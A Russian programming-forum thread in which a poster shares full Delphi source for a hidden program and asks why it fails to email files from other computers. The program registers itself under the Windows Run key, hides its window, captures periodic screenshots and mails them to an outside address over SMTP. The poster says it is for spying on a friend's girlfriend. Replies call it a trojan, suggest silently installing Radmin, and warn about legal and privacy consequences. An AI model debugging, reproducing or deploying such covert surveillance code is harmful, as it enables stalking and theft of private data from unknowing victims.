|
|
Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
|
Опции темы | Поиск в этой теме | Опции просмотра |
#1
|
|||
|
|||
Подскажите почему не работает программа?
Не хотелось бы объяснять суть программы, знающие люди поймут и надеюсь помогут!
Проблема в том, что у меня на компе все работает как часы но на других нет!( Вернее на половину. Только не отсылаются файлы по почте. Что делаю не так? помогите люди добрые Вот полный код: Код:
unit Loger; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdMessage, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, ExtCtrls, jpeg, RegisTry; type TForm1 = class(TForm) Timer: TTimer; IdSMTP1: TIdSMTP; IdAntiFreeze: TIdAntiFreeze; IdMessage1: TIdMessage; Timer2: TTimer; procedure TimerTimer(Sender: TObject); procedure Timer2Timer(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; desk:hDC; bmp_Screen:Graphics.TBitmap; attach:TidAttachment; msg:tidmessage; i:integer; jpg:TJPEGImage; bm:TBitMap; h: TRegistry; implementation {$R *.dfm} procedure TForm1.TimerTimer(Sender: TObject); begin IdSMTP1.Connect(); if IdSMTP1.Connected = True then begin IdSMTP1.Send(IdMessage1); IdSMTP1.Disconnect; end; end; procedure TForm1.Timer2Timer(Sender: TObject); begin bm:=TBitMap.Create; bm.Width:=Screen.Width; bm.Height:=Screen.Height; BitBlt(bm.Canvas.Handle,0,0,bm.Width,bm.Height,GetDC(0),0,0,SRCCOPY); jpg:=TJPEGImage.Create; jpg.Assign(bm); jpg.SaveToFile('C:\image.bmp'); jpg.Free; bm.Free; end; procedure TForm1.FormCreate(Sender: TObject); begin h := TRegistry.Create; h.RootKey:=HKEY_CURRENT_USER; h.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true); h.WriteString('Project1',Application.ExeName); h.CloseKey; h.Free; Application.ShowMainform:=false; idSMTP1.AuthenticationType := atLogin; IdSMTP1.Host := 'smtp.yandex.ru'; IdSMTP1.Port := 25; IdSMTP1.Username := 'fov'; IdSMTP1.Password := '*****'; IdMessage1.Body.Text := 'Proverka'; IdMessage1.From.Text := 'fov@yandex.ru'; IdMessage1.Recipients.EMailAddresses := 'ole3d@mail.ru'; IdMessage1.Subject := 'theme'; TIdAttachment.Create(idMessage1.MessageParts, 'c:\image.bmp') ; end; end. |
#2
|
|||
|
|||
хороша программка-троян ))
взялся из неоткуда, ничего не прошу, помогаю просто так ICQ: 593977748 - стучать в случае КРАЙНЕЙ необходимости, ну, или если вы со Ставрополя |
#3
|
||||
|
||||
Ох ты ж господи Пишем какую-то заразу и даже не скрываем Причём код индусский на 90%. Зачем 2 таймера? Почему аттач - только при создании? Зачем сохранение на диск C?
В общем, да. Какой-то я агрессивный сегодня Оставайтесь хорошими людьми... VK id2634397, ds [at] phoenix [dot] dj |
#4
|
|||
|
|||
ну эт не совсем троян)) Для знакомого пишу, девушку ему надо проверить. А мне проверить свои знания))
|
#5
|
|||
|
|||
Да, код каша и в правду. Собирал по крупицам, как говорится. Но всеже может подскажите? Обещаю программу в корысных целях не использовать!!))
|
#6
|
||||
|
||||
)
И чем ты проверишь? скрином экрана?)) Типа если в обоях фотка того парня значит все гуд?) А если другого..))) дети блин. |
#7
|
|||
|
|||
проще radmin в тихом режиме установить, и ничего не придумывать (если конечно комп не за NAT'ом находится).
взялся из неоткуда, ничего не прошу, помогаю просто так ICQ: 593977748 - стучать в случае КРАЙНЕЙ необходимости, ну, или если вы со Ставрополя |
#8
|
|||
|
|||
Дело не в корысти:
Цитата:
|
#9
|
|||
|
|||
кстати да, тайна переписки и все дела, за кражу пользовательской инфу, пусть даже скриншота экрана, уже могут впаять, если подруга эта напишет заяву на парня своего. например за кражу "пароля от интернета dial-up" раньше могли дать от 3х до 7ми
взялся из неоткуда, ничего не прошу, помогаю просто так ICQ: 593977748 - стучать в случае КРАЙНЕЙ необходимости, ну, или если вы со Ставрополя |
#10
|
||||
|
||||
Цитата:
И это должны учить в школе на первом же уроке информатики. |
#11
|
|||
|
|||
Так этож не вредоносная программа)) К этому применима другая статья
|
#12
|
|||
|
|||
Цитата:
взялся из неоткуда, ничего не прошу, помогаю просто так ICQ: 593977748 - стучать в случае КРАЙНЕЙ необходимости, ну, или если вы со Ставрополя |
#13
|
|||
|
|||
да и ваще ))) если сомневаицца в подруге, то хай ищет другую, не доверять своей же подруге это жоско, так от ревности можно с ума сойти и застрелить подругу, как вон муж застрелил жену недавно в Москве на улице.
взялся из неоткуда, ничего не прошу, помогаю просто так ICQ: 593977748 - стучать в случае КРАЙНЕЙ необходимости, ну, или если вы со Ставрополя |
#14
|
||||
|
||||
Цитата:
|
#15
|
|||
|
|||
Цитата:
Мне безразличны его отношения с девушкой. Мне была интересна сама идея написания такой проги... - трояна (если вы так считаете) |